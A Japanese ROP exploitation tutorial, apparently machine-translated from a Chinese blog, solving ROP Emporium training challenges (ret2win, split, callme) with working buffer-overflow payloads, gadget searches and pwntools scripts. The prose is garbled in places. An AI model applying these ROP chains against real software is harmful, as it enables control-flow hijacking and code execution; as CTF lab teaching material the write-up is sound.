x86アーキテクチャでのメモリ攻撃テクノロジROP(1)

1 ROPの概要

リターン指向プログラミング(リターン指向プログラミング、ROP)は、主にオペレーティングシステムの防御手段NXをバイパスするための高度なメモリ攻撃テクノロジです。このテクノロジーは、しばしばいくつかの既存の脆弱性、特にバッファオーバーフローを使用します。攻撃者はスタックコールを制御して、プログラム制御フローをハイジャックし、対象の機械語命令シーケンス(ガジェット)を実行します。これらのガジェットの組み合わせは、独自のガジェットを正常に実行できます論理。

戻りアドレスを変更して、指し示す命令を指すようにします。この命令がret、sp + 4で終わる場合、この時点で、スタックの元の戻りアドレスの次のスペースが戻りアドレス(ret命令pop eipと同等、esp = esp + 4)、ポイントする各命令がretで終了する場合、このプロセスをノンストップで繰り返すことができます。(Ret実行するとsp + 4になります)。ガジェットを継続的に実行できます。

ここに画像の説明を挿入
ガジェットにはさまざまな種類があるので、それらを1つずつリストすることはしません。実際に、ROPチェーンを構築して脆弱性の悪用の影響を実現する方法を分析してみましょう。以下は、ROP Emporiumが提供するタイトルを使用した例です。これより前に、スタック、関数呼び出し、およびパラメーターの受け渡しを十分に理解できる場合は、それが最善です。このトピックについて混乱している場合は、前に書いた記事が役立つと思います。アセンブリの観点からのebp&espレジスター、関数呼び出しプロセス、関数パラメーターの転送、スタックバランスの理解

2 ROPエンポリアム

ROP Emporiumは7つのバイナリファイルを提供しており、難易度は増加しています。32ビットと64ビットに分かれています。これらのプログラムの抜け穴は同じで、すべて単純なスタックオーバーフローであり、すべてのファイルの安全なコンパイルオプションも同じです。

ここに画像の説明を挿入
スタックが実行可能ではないという安全なコンパイルオプションがオンになっているため、シェルコードを記述して戻りアドレスを直接シェルコードにポイントすることによってペイロードを実行する方法はありません。最も直接的な方法はROPであり、戻りアドレスがプログラムに元々含まれていたアセンブリ命令を指すようにします。すべてスタックオーバーフローですが、これらの7つのバイナリには使用可能なさまざまなガジェットが含まれており、難易度も浅いものから深いものまで

脆弱性

関数pwnmeでは、変数が割り当てられ、この変数はスタックの最下部から0x28 = 40バイトであり、ユーザーが入力した文字列はこの変数に格納されます。したがって、ユーザーの入力が40バイトを超えると、スタックオーバーフローが発生します。
ここに画像の説明を挿入
抽象的なと感じ場合は、IDA逆コンパイルコードから、
ここに画像の説明を挿入
プログラムのロジックをさらに確認できます。各プログラムの抜け穴が見つかります。次のステップは、各プログラムでは、使用できるバイナリコードフラグメント、つまりガジェットと呼ばれるものを一緒にストリング化すると、予期しない結果が生じる可能性があります。

2.1.1 ret2win32

shift + F12引用コードと組み合わせたキーワードを、見つける方法は、それを見つけるのは簡単で、ret2win()機能を、実行することをコード

ここに画像の説明を挿入
ret2win() 逆アセンブルコードは次のとおりです。これも非常に簡単です

ここに画像の説明を挿入
したがって、リターンアドレスポイントは0x080486590x08048672所望の効果を達成することができます

# 以下两条命令均可
python -c "print 'a'*44 + '\x59\x86\x04\x08'" | ./ret2win32
python -c "print 'a'*44 + '\x72\x86\x04\x08'" | ./ret2win32
# 使用 pwntools 脚本也是可以的,只不过这里比较简单,没必要还写个 python

運用実績

ここに画像の説明を挿入

2.1.2 ret2win

64ビットプログラムは32ビットプログラムとは異なり、32ビットプログラムでは、ebpを介してスタック上のパラメーターを見つける代わりに、レジスターを使用してパラメーターを渡します。もちろん、この質問には実際の影響はありません。しかし、ret2winでは、オーバーフローする可能性があるローカル変数のオフセットは32ビットとは異なります

ここに画像の説明を挿入
ここでユーザーが入力した変数rbpの間距離は0x20 = 32バイトなので、エクスプロイトコードを作成するときは、32 + 8バイトの不要なデータ(他のエクスプロイトの原理と利用可能なガジェットと32ビット)を入力する必要があります一貫している)

python -c "print 'a'*40 + '\x11\x08\x40\x00\x00\x00\x00\x00'" | ./ret2win
python -c "print 'a'*40 + '\x24\x08\x40\x00\x00\x00\x00\x00'" | ./ret2win

運用実績

ここに画像の説明を挿入

2.2.1 split32

ret2win32との違いは、今回はワンステップ実行コードがないことです。私たちのアイデアは、戻りアドレスがを指すよう0x08048657にすることですが、同時にシステム関数のパラメーターを指定します。0x0804A030必要なパラメータを保存しました。

# data
.data:0804A030                 public usefulString
.data:0804A030 usefulString    db '/bin/cat flag.txt',0
# usefulFunction
.text:08048652                 push    offset command  ; "/bin/ls"
.text:08048657                 call    _system

方法1

直接操作call _systemバランスがスタックを必要としないコマンド、直後にキープパラメータ。システムは、サブルーチン、ケースのスタック空間を呼び出すときのように、詳細は、参照がされてもよいEBPを理解&ESP、関数パラメータはアセンブリから渡された関数呼び出しとスタックバランスの角度レジスタ

|----------------|
|ebp:aaaa    
|----------------|
|返回地址:0x08048657 ——-—>  上一个函数执行 ret, sp + 4
|----------------|	 下一个函数执行 call, sp - 4,返回地址又压入原来的栈空间
|system 参数      push ebp,ebp 又放到原来的位置,system 通过 ebp + 8 找到参数,还在此位置
|----------------|

32ビットプログラムはebpのオフセットに従って仮パラメーターを検索するため、ここではcall _system、前の関数ebp位置に対するebp の直接呼び出しは変更されていないため、パラメーター位置は変更されていません。エクスプロイトコードは以下の通りです

# python -c "print 'a'*44 + '\x57\x86\x04\x08' + '\x30\xa0\x04\x08'" | ./split32 
split by ROP Emporium
32bits

Contriving a reason to ask user for data...
> ROPE{a_placeholder_32byte_flag!}
Segmentation fault

方法2

システムのpltの場所を見つけ、戻りアドレスがそのアドレスに直接オーバーフローし、パラメーターを渡しますが、この場合、スタックのバランスをとる必要があります。なぜですか?関数呼び出し中のスタックの変更を分析する必要があります。

これはpltのシステムエントリです

.plt:08048430 ; int system(const char *command)
.plt:08048430 _system         proc near               ; CODE XREF: usefulFunction+E↓p
.plt:08048430
.plt:08048430 command         = dword ptr  4
.plt:08048430
.plt:08048430                 jmp     ds:off_804A018
.plt:08048430 _system         endp

オーバーフローの戻りアドレスをplt内の対応するシステムに直接変更すると、スタックスペースは次のようになります。

|----------------|
|ebp:aaaa    
|----------------|
|返回地址:0x08048430 ——-—>  上一个函数执行 ret, sp + 4
|----------------|			xxx这一步不执行 - 不执行 call 指令,sp 也不会归位
|null   					system 中的 push ebp,此时 ebp 会跑到栈中 返回地址 的位置
|---------------|
|system 参数					ebp + 8 找到的参数位置

したがって、アドレスを返した後、パラメータに対応するために、さらに4バイトを埋める必要があります。

python -c "print 'a'*44 + '\x30\x84\x04\x08' + 'a'*4 + '\x30\xa0\x04\x08'" | ./split32

運用実績

ここに画像の説明を挿入

2.2.2分割

64ビットプログラムは、レジスタを使用してパラメータを渡します。最初のパラメータはrdiレジスタに格納されます。現時点では、特定のアセンブリコードを見つけるためのツールが必要です。

ROPgadget 優れたガジェット検索ツールであり、使用方法は次のとおりです

$ ROPgadget --binary split --only 'pop|ret' | grep rdi
0x0000000000400883 : pop rdi ; ret

またはGDBプラグインの使用pedaが付属してROPsearchコマンドを

gdb-peda$ ROPsearch "pop rdi; ret"
Searching for ROP gadget: 'pop rdi; ret' in: binary ranges
0x00400883 : (b'5fc3')	pop rdi; ret

構築されたスタックは次のとおりです

|----------------|
|rbp:aaaa aaaa    
|----------------|		
|返回地址:0x400883		ret		 # sp - 8	sp 指向 下一行
|----------------|		pop rdi  # sp - 8	将这一行的参数放进 rdi 寄存器中,参数构造成功
|system 参数 flag		ret		 # sp - 8
|----------------|
|要执行的函数地址,由于 64 位程序中,寻找参数不依赖堆栈,依靠寄存器,所以不需要平衡堆栈

エクスプロイト

# 同样的道理,既可以直接执行 call _system,也可以执行 plt 中的 _system,不过都不需要平衡堆栈了
python -c "print'a'*40 + '\x83\x08\x40\x00\x00\x00\x00\x00' + '\x60\x10\x60\x00\x00\x00\x00\x00' + '\x10\x08\x40\x00\x00\x00\x00\x00'" | ./split

運用実績

ここに画像の説明を挿入

2.3.1 callme32

この質問から始めると、主にコードのロジックレベルがより複雑になるため、少し難しくなります。最初の2つの質問はret2textこの質問に属しています。この質問では、自分で作成したライブラリファイルを紹介しています。ROPチェーンでは.soファイルのバイナリ命令を使用する可能性があるため、ret2lib

ここに画像の説明を挿入
この関数はusefulFunction3つの機能を使用し_callme_one two threeて、これらの3つの関数が外部のシンボルです。readelfまたはobjdumpを使用して、バイナリファイルに必要な依存関係を表示します

root@kali:~/Documents/ROPEmpurium/callme32# readelf -dl callme32 | grep NEEDED
# objdump -p callme32 | grep NEEDED
 0x00000001 (NEEDED)                     Shared library: [libcallme32.so]
 0x00000001 (NEEDED)                     Shared library: [libc.so.6]

これらの3つの関数が、それは避けられない中で、非標準ライブラリ関数ですlibcallme32.soファイル。IDA逆アセンブリを使用して3つの機能の役割を確認する

callme_one 暗号化されたフラグコンテンツを読み取る

ここに画像の説明を挿入
callme_twoサイクルまたは意志、復号化、およびグローバル変数があるg_buf

ここに画像の説明を挿入
callme_three ループするか、結果を復号化して出力し続ける

ここに画像の説明を挿入
したがって、最終的なROPチェーンでは3つの関数を順番に実行する必要がありますが、関数が正しい分岐に移動してフラグを出力できるように、各関数は1、2、3の3つのパラメーターを渡す必要があります。ここではなく直接実行usefulFunction機能を、あなただけのPLTの三つの機能で場所を見つけることができます。スタックのバランスをとる必要があるとsplit32で述べたことに注意してください。3つのパラメータに対応するだけでなく、3つのが必要です配置する必要がありpopバランスの取れたスタック部に、バランスに命令が言っています

root@kali:~/Documents/ROPEmpurium/callme32# ROPgadget --binary callme32 --only 'pop|ret'
Gadgets information
============================================================
0x080488ab : pop ebp ; ret
0x080488a8 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x08048579 : pop ebx ; ret
0x080488aa : pop edi ; pop ebp ; ret
0x080488a9 : pop esi ; pop edi ; pop ebp ; ret
0x08048562 : ret
0x080486be : ret 0xeac1

Unique gadgets found: 7

0x080488a9 したがって、私たちのニーズを満たすために、最終的な使用率コードは次のようになります

from pwn import *

sh = process("./callme32")
context(log_level="debug", os="linux")
sh.recvuntil("> ")

one_plt = 0x080485C0
two_plt = 0x08048620
three_plt = 0x080485B0
pop_ret_gadget = 0x080488a9
args = p32(0x01) + p32(0x02) + p32(0x03)

payload = "a"*44
payload += p32(one_plt) + p32(pop_ret_gadget) + args
payload += p32(two_plt) + p32(pop_ret_gadget) + args
payload += p32(three_plt) + p32(pop_ret_gadget) + args

sh.sendline(payload)
sh.recv()

運用実績

ここに画像の説明を挿入

2.3.2 callme

64ビットプログラムは、前のセクションで既に説明したスタックではなく、レジスタを使用してパラメータを渡します(最初の2つまたは3つのパラメータはrdi rsi rdxに対応します)。あなたが大量の参加についてはあまり知らない場合は、へようこそEBPを理解&ESP、関数呼び出し、ビューの集合場所から関数パラメータを渡すと、スタックのバランスを登録しますここでも、pop rdi、pop rsi、pop rdxを見つけて、パラメータを渡せるようにする必要があります。

# ROPgadget --binary callme --only 'pop|ret' | grep rdi
0x0000000000401ab0 : pop rdi ; pop rsi ; pop rdx ; ret
0x0000000000401b23 : pop rdi ; ret

このスタックは注意深く構築する必要があり、32ビットプログラムとは異なります

from pwn import *

sh = process("./callme")
context(log_level="debug", os="linux")
sh.recvuntil("> ")

one_plt_addr = 0x0000000000401850
two_plt_addr = 0x0000000000401870
three_plt_addr = 0x0000000000401810
pop_args_gadget = 0x0000000000401ab0

args = p64(0x01) + p64(0x02) + p64(0x03)

payload = "a" * 40
payload += p64(pop_args_gadget) + args + p64(one_plt_addr)
payload += p64(pop_args_gadget) + args + p64(two_plt_addr)
payload += p64(pop_args_gadget) + args + p64(three_plt_addr)

sh.sendline(payload)
sh.recv()

運用実績

ここに画像の説明を挿入

3まとめ

いくつかの実際的なケースでは、ROPチェーンを使用してプログラムフローを制御する目的を達成する方法を分析しました。この抜け穴では、ret2winとsplitはに属しret2text、戻りアドレスはこのプログラムのコードの一部を指し、callmeはに属していますret2lib(またはret2pltこの名前は一般的ではありません)、戻りアドレスはlibcライブラリの関数を指します。これらの質問を理解するように強く主張すれば、その後の問題は問題になりません。

元の記事52件を公開 30のような 50,000以上の訪問

おすすめ

転載: blog.csdn.net/song_lee/article/details/105285418